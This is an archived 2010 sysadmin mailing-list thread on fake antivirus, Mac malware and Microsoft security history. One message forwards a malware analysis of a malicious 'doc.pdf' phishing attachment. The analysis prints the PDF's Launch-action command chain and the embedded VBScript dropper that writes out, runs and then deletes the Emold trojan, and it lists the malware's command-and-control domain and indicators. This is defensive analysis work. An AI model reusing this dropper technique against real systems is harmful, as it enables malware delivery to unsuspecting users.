We will be releasing a detection for this PDF exploit in a couple of hours.
Warm regards, Stu Sjouwerman Co-Founder, Publisher, Sunbelt Media P: +1-727-562-0101 ext 218 F: +1-727-562-5199 s...@sunbelt-software.com -----Original Message----- From: Sean Rector [mailto:sean.rec...@vaopera.org] Sent: Wednesday, April 28, 2010 5:07 PM To: NT System Admin Issues Subject: RE: WTF? Fake AV Thread Hijack, new PDF exploit making the rounds. Thanks, Z! Sean Rector, MCSE -----Original Message----- From: Ziots, Edward [mailto:ezi...@lifespan.org] Sent: Wednesday, April 28, 2010 4:50 PM To: NT System Admin Issues Subject: RE: WTF? Fake AV Thread Hijack, new PDF exploit making the rounds. Gang there is another PDF exploit going on that may or may not be hitting your places: Credit to Secureworks (tm) for the writeup below. See below: Ideals: Set up a zone in your DNS called jademason.com and set it to answer to 127.0.0.1, and clear the cache on your DNS servers accordingly. Which should blackhole the zone. Note this is a fast-flux domain, as you can see from the different dns returns on nslookup. Also scan all your PDF files, some of the major AV vendors are picking this up and its packed exploit. > jademason.com Server: xx.xx.xx.xx Address: xx.xx.xx.xx Non-authoritative answer: Name: jademason.com Addresses: 190.184.91.252 89.76.186.112 178.24.184.230 190.165.141.141 190.160.133.173 89.103.178.41 78.90.2.123 89.74.43.46 About 5 mins later: Non-authoritative answer: Name: jademason.com Addresses: 201.174.208.101 89.135.159.78 94.246.125.4 190.184.91.252 201.241.102.230 89.74.43.46 92.230.71.40 201.132.99.207 From: notificati...@yyybank.com [mailto:notificati...@yyybank.com] Sent: Tuesday, April 27, 2010 7:47 AM To: x...@yyyybank.com Subject: setting for your mailbox are changed SMTP and POP3 servers for x...@yyybank.com mailbox are changed. Please carefully read the attached instructions before updating settings. It contained a file called "doc.pdf". That file was, of course, malicious in nature. It used the PDF Launch vulnerability to run echo some commands into a bat file and then bootstrap itself to running the Emold downloader trojan. Let's take a look. 8 0 obj << /Type /Action /S /Launch /Win << /F (cmd.exe) /P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True) >> script.vbs && echo pf=f.ReadAll >> script.vbs && echo s=InStr(pf,"'SS") >> script.vbs && echo e=InStr(pf,"'EE") >> script.vbs && echo s=Mid(pf,s,e-s) >> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True) >> script.vbs && echo s = Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs && script.vbs && batscript.vbs This uses cmd.exe to write some lines of text to a file called script.vbs and then executes script.vbs and batscript.vbs. Let's look at how script.vbs ends up: Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.OpenTextFile("doc.pdf", 1, True) echo pf=f.ReadAll echo s=InStr(pf,"'SS") echo e=InStr(pf,"'EE") s=Mid(pf,s,e-s) Set z=fso.OpenTextFile("batscript.vbs", 2, True) s = Replace(s,"%","") z.Write(s) When Script.vbs runs, it opens doc.pdf and looks for the tags "SS" and "EE" to mark the beginning and end of a section of the pdf. It grabs that section, does a little bit of text manipulation and then writes the result to batscript.vbs. Next let's look what's in that tagged section of doc.pdf (that ends up batscript.vbs): 5 0 obj << /Length 46 >> stream BT /F1 34 Tf 50 500 Td (Important Information doc.pdf)Tj %'SS %Dim b %Function c(d) %c=chr(d) %End Function %b=Array(c(077),c(090),c(144),c(000),c(003),c(000),c(000),c(000), c(004),c(000),c(000)... ...this line is 248413 characters long... ...c(000),c(000),c(000),c(000 ),"") %Set fso = CreateObject("Scripting.FileSystemObject") %Set f = fso.OpenTextFile("game.exe", 2, True) %For i = 0 To 35328 %f.write(b(i)) %Next %f.close() %Set WshShell = WScript.CreateObject("WScript.Shell") %WshShell.Run "cmd.exe /c game.exe" %WScript.Sleep 3000 %Set f = FSO.GetFile("game.exe") %f.Delete %Set f = FSO.GetFile("batscript.vbs") %f.Delete %Set f = FSO.GetFile("script.vbs") %f.Delete %'EE endstream We can now see that the array stored in b is actually an obfuscated executable file that is stored in game.exe. After running game.exe this script (executed in batscript.vbs) cleans up after itself by removing game.exe, batscript.vbs, and script.vbs. Game.exe is the Elmod trojan. This is a generic downloader which can be used to install any number of second stage trojans. It can be identified by the presence of the file C:/Program Files/Microsoft Common/svchost.exe, the registry key "software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe", and because it phones home to (currently) jademason.com. Adobe has said that the Launch functionality is a feature, not a bug. Adobe is looking into the issue, but has not said what action, if any, they intended to take to mitigate the danger. Their post on the matter does include directions for turning off this functionality. Edward Ziots CISSP,MCSA,MCP+I,Security +,Network +,CCA Network Engineer Lifespan Organization 401-639-3505 ezi...@lifespan.org -----Original Message----- From: Stu Sjouwerman [mailto:s...@sunbelt-software.com] Sent: Wednesday, April 28, 2010 4:17 PM To: NT System Admin Issues Subject: RE: WTF? Fake AV Erm, There are 115 known strains (and growing fast) of malware for the Mac. That's why we are releasing a VIPRE client for the Mac in Q2. They have sold enough machines to make it attractive for cyber crime to go after. All security models will break as per the principle of the 'bigger hammer'. Warm regards, Stu Sjouwerman Co-Founder, Publisher, Sunbelt Media P: +1-727-562-0101 ext 218 F: +1-727-562-5199 s...@sunbelt-software.com -----Original Message----- From: Steven M. Caesare [mailto:scaes...@caesare.com] Sent: Wednesday, April 28, 2010 4:10 PM To: NT System Admin Issues Subject: RE: WTF? Fake AV And you are making the (rather dramatic, IMO) over generalization that Microsoft simply tells app vendors what to do and expects them to move at the drop of a hat. The reality is that MS has typically bent over backwards to ensure backwards compatibility (to a fault you may argue) for applications wherever possible. That has been one of the tenets of their OS design since Windows had DOS boxes. They have compatibility flags within the OS to special case specific apps and installers. They has wow32 and wow64. They did FX!32 on Alpha. They've supported old versions of API's along with new versions. They allow unsigned hardware even though the new model requires signed hardware. Etc, etc... Heck, up until Vista you could still run something from 20 yr old DOS.. Now would they LIKE apps vendors to comply with new direction day1? Yes. Do they all? No. So there is much notification, suggestion, development guidelines, DevCons, etc... to shepherd app vendors the right direction. Your "MS simply flips a switch and expects devs to comply" sentiment is an inaccurate oversimplification. -sc > -----Original Message----- > From: Ben Scott [mailto:mailvor...@gmail.com] > Sent: Wednesday, April 28, 2010 3:57 PM > To: NT System Admin Issues > Subject: Re: WTF? Fake AV > > On Wed, Apr 28, 2010 at 12:53 PM, Steven M. Caesare > <scaes...@caesare.com> wrote: > > A) hardware driver models are a somewhat different beast, and that's > > held true for many a platform, and isn't really germane to what we are > > discussing here. > > The only point I was making (and the one you're determined to ignore, it > appears): Microsoft routinely throws their weight around to tell the rest of > the industry to change to Microsoft's new way of doing things. Microsoft > elected not to do that with security. > > The question was asked (paraphrased): "Why did it take Microsoft so long to > do anything about security?" I answered that question. No less, no more. > You're the one who keeps trying to drag the question off into the weeds. > > Of course, an equally valid question would be, "Why did it take Apple so > long to do anything about security?" But that wasn't the question I was > addressing. > > > Using AV infection #'s to compare those things and draw the conclusion > > he did is no accurate, IMO. > > That I would agree with. > > -- Ben > > ~ Finally, powerful endpoint security that ISN'T a resource hog! ~ ~ > <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~ ~ Finally, powerful endpoint security that ISN'T a resource hog! ~ ~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~ ~ Finally, powerful endpoint security that ISN'T a resource hog! ~ ~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~ ~ Finally, powerful endpoint security that ISN'T a resource hog! ~ ~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~ Virginia Opera's 35th Anniversary Season ends with America's favorite, The Gershwins' Porgy and BessSM 2010-2011 subscriptions are on sale now! Featuring: Rigoletto | Così Fan Tutte | The Valkyrie | Madama Butterfly Visit us online at www.VaOpera.org or call 1-866-OPERA-VA The vision of Virginia Opera is to enrich lives through the powerful integration of music, voice and human drama. -------------------------------------------------------------------------------- This e-mail and any attached files are confidential and intended solely for the intended recipient(s). Unless otherwise specified, persons unnamed as recipients may not read, distribute, copy or alter this e-mail. Any views or opinions expressed in this e-mail belong to the author and may not necessarily represent those of Virginia Opera. Although precautions have been taken to ensure no viruses are present, Virginia Opera cannot accept responsibility for any loss or damage that may arise from the use of this e-mail or attachments. ~ Finally, powerful endpoint security that ISN'T a resource hog! ~ ~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~ ~ Finally, powerful endpoint security that ISN'T a resource hog! ~ ~ <http://www.sunbeltsoftware.com/Business/VIPRE-Enterprise/> ~